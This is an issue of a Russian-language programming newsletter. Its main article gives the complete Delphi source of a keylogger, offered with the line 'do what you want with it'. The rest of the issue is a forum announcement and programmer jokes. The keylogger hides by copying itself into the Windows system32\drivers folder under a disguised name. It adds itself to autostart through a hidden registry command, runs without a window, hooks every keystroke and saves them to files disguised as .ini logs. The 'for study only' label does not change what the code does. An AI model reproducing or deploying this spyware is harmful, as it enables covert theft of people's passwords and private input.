Разместите нашу кнопку!

Новые статьи:

Programming articles

Создание сайтов на шаблонах

Множество вариантов работы с графикой на канве

Шифруем файл с помощью другого файла

Перехват API функций - Основы

Как сделать действительно хороший сайт

Создание почтового клиента в Delphi 7

Применение паскаля для решения геометрических задач

Управление windows с помощью Delphi

Создание wap сайта

Операционная система unix, термины и понятия

SQL враг или друг

Возникновение и первая редакция ОС UNIX

Оптимизация проекта в Delphi

Ресурсы, зачем нужны ресурсы

Термины программистов 20 века

Советы по созданию собственного сайта с нуля

Шифруем файл с помощью пароля

Фракталы - геометрия природы

Crypt - Delphi программа для шифрования

Рассылка, зачем она нужна и как ее организовать?

Учебник по C++ для начинающих программистов

Уроки для изучения ассемблера

Загадочный тип PCHAR

Средства по созданию сайтов

Операторы преобразования классов is и as

Borland Developer studio 2006. Всё в одном

Создание базы данных в Delphi, без сторонних БД


Software engineering articles



Архив рассылки

    В нашей рассылке вы узнаете о новых статьях, программах, и темах на форуме. Рассылка выходит один раз в неделю, каждый четверг.
Подписаться на рассылку можно в этой форме:
Клуб программистов
Последний выпуск

38 выпуск

Клуб программистов

  Новости
  Лабораторные работы
  Справочники
  Книги
  Основы Delphi
  Клуб
  Ссылки
  Архив рассылки
 

Форум программистов

  Общие вопросы Delphi
  Работа с сетью
  Win Api
  БД в Delphi
  Безопасность
  Паскаль
  Помощь студентам
  Assembler
  2D игры
  3D игры
  Общие вопросы Java
  Java и Web
  Основы С++
  Html
  PHP
  Microsoft Office Word
  Microsoft Office Excel
  Microsoft Office Access
  Microsoft Office Outlook
  Работа постоянная
  Работа для программиста
  О форуме и сайтах клуба
  Обсуждение статей
  Обсуждение программ
  Свободное общение
 

Блог программистов

  Новости
  Borland Delphi
  Базы данных
  Хакинг
  Win Api
  Создание сайтов
 
ОТ РЕДАКТОРА
 

Всем привет! Приветствую вот уже в 38 выпуске "Клуб программистов". Я рад что мы развиваемся, и подписчиков у нас становится больше. Итак, сегодня для вас:

  • Очень интересная статья по Borland Delphi под названием " Клавиатурный шпион "

  • Небольшое послание или, так сказать, сообщение, или даже новость для участников Форума программистов .

  • Юмор про программистов. разного рода анекдоты и приколы. Смеемся сами над собой! Я выделил что мне нравится синим цветом или жирным шрифтом. А некоторые и тем и другим выделены, эти вообще супер.

Ну вот и все на сегодня! Желаю вам приятного чтения выпуска.

 
 
КЛАВИАТУРНЫЙ ШПИОН
 
Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб),что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!
Программа абсолютно безопастная и предназдначенна только для изучения!

Вот код:

program ntrty;
// KBS ver. 1.0
//
// Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2007 (пятница)
uses Windows;

const
dir = ‘C:\WINDOWS\system32\drivers\’;
name = ‘ntrty’;
ext = ‘.ini’;
ARCStr = ‘cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ‘;
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ”;
1: SetLength(Result, 1);
2: ;
else
Result := ”;
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+’.exe’) then
begin
Copyfile(PChar(paramstr(0)),dir+name+’.exe’,BOOL(0));
WinExec(dir+name+’.exe’,SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+’ /t REG_SZ /d ‘+dir+name+’.exe /f’),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,’MYCLASS’,”,@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ”,0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass(’MYCLASS’,hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!

Автор статьи: execom . Полная версия тут: http://pblog.ru/?p=69 .

 
 
УЧАСТНИКАМ ФОРУМА ПРОГРАММИСТОВ
 
Возможно вы уже знаете про Блог программистов , я рассказываю о нем в последних выпусках. Так вот, новость для участников форума - самые активные могут публиковать свои статьи в этом Блоге, все желающие могут оставлять комментарии. Чтобы получить права автора зарегистрируйтесь в блоге и напишите мне. Мой e-mail arnold@uhhh.ru , а icq: 338-641-039
 
 
АНЕКДОТЫ ПРО ПРОГРАММИСТОВ
 
Надпись на могиле программера:
Причина смерти: Run-time error at 18:12:97
Причина рождения: GPF at: 18:12:97

Программист ставит себе на тумбочку перед сном два стакана. Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.

Умер программист, попал на небо. Подходит к нему Архангел и говорит: "Жил ты неправедно, но и грешил немного, так что сам выбирай, куда тебя в компьтерный рай или в компьютерный ад." Подумал, подумал программист и говорит: "А покажите мне рай." Ему показывают крутейший компьтерный центр, там разные компы навороченые, мультимедии всякие, сервера крутые. И говорит ему Архангел: "Будешь ты тут юзером." Понравилось это программисту и он просит показать ему ад. На что Архангел отвечает: "Это здесь же, только будешь ты системщиком."

Пригласил чёрт (Ч) хакера (X) в ад. Toт пришел, смотрит: компoв куча, все сидят в DOOM играют, Internet ломают...
(X): - Bce! yмpy в aд пoйдy...
Умер xaкep чepeз 50 лeт... Попадает в ад. Taк стоит огромный котел, и всех хакеров туда кидают. Hy (X) подходит к (Ч) и гворит:
(X): - Что ж ты меня наколол?
(Ч): - A-a-a-a! To былa демо вepcия... :)

Звонок Юзера (Ю) в tech support фирмы (скажем Datacom) производящей блоки питания:
(Ю): - Добрый день у меня из блока питания идет дым, что делать?
Сотрудник (С) - Вам нужен новый блок питания.
(Ю): - Нет, не нужен, мне нужно, что бы из старого не шел дым.
(С): - Вы меня, наверное не поняли, но Вам нужен новый блок питания.
(Ю): - Зачем мне новый, Вы просто скажите, что нужно сделать, что бы из старого дым не шел.
(С): - Наберите в autoexec строку no smoke...
Проходит 5 минут.
(Ю): - Не работает.
(С): - Значит Вам нужен новый блок питания.
(Ю): - Нет мне нужно, что бы из старого не шел дым.
(С): - У Вас Винды стоят?
(Ю): - Да.
(С): - Ок. Звоните в tech support Microsoft...там все объяснят...
Через 15 минут...
Тот же Юзер - Добрый день, мне нужен новый блок питания.
(С): - (удивленно) - Эээ... а можно поинтересоваться... что Вам сказали в Microsoft???
(Ю): - Оказывается все было очень просто: команда no smoke не подходит к моему блоку питания...

Вопрос: Сколько программистов надо, чтобы закрутить лампочку?
Ответ: ни одного. Это аппаратная проблема, программисты их не решают.

На работе пропал програмер. День нету, два. На звонки не отвечает. Ну, решили проверить, что да как. Пришли к нему домой, а там, в холодной ванне сидит лысый программист с полупустой бутылкой шампуня в руке. Отняли у него бутылку и читают инструкцию:
1. Нанести на влажные волосы
2. Намылить
3. Подождать
4. Смыть
5. Повторить

Вывели новую породу охотничьих пчел. Огромные, как медведи, злые, как собаки... - А мед-то они приносят? - Конечно, у бабок на рынке отбирают и приносят.

Ползет по улице в дымину пьяный хакер. Еле руки и ноги передвигает. А навстречу ему другой, трезвый.
- Слушай, Вась, ты чего? Ведь ты же неделю назад закодировался от пьянства.
- А я, ик, в-вчера к-к-код подобрал...

Жена хакера говорит мужу:
- Дорогой, я хочу ребенка!
- Ложись, ща проинсталлируем!

Утро. Хмурый как туча хакер входит на кухню с благородной целью чем-нибудь подкрепиться после бессонной ночи, проведенной за родным пнём. Через какое-то время на кухне появляется жена, и, заметив, мягко говоря, херовое настроение своего супруга, спрашивает:
- Что, Васенька, программа не заработала?
- Заработала!..
- Что, может... неправильно заработала?
- Да правильно заработала... мать её за ногу!..
- Васенька, а почему же ты тогда такой хмуренький?
- На бэкспейсе вздремнул!!!

В автобусе молодой паренек обращается к девушке:
- Девушка, Вы случайно не программистка?
- Да. А как Вы догадались?
- Да, у Вас такое глупое выражение лица!
- Дурак!
- Да, я тоже программист.

Сынишка системного администратора вечером просит папу:
- Па. Почитай на ночь сказку про умного, толкового, доброго, cмелого юзерa...

Разговаривают в автобусе два хакера:
- Знаешь, у меня с писюком что-то.
Весь автобус настораживается.
- А то такое?
- Да висит часто.
- Может, зараза какая?
- Проверял - все стерильно.
- А крепко висит?
- Крепко, тремя пальцами не поможешь...

Разговаривают два мужика.- Слушай, был я недавно в Брюсселе. Видел их "Писающего мальчика". Ничего выдающегося... - Да ладно тебе! Он же пацан еще!

 
 
ПИШИТЕ НАМ
 
Мы всегда рады вашим письмам. присылайте вопросы, пожелания, замечания. Адрес для писем ведущему рассылки admin@welikeit.ru .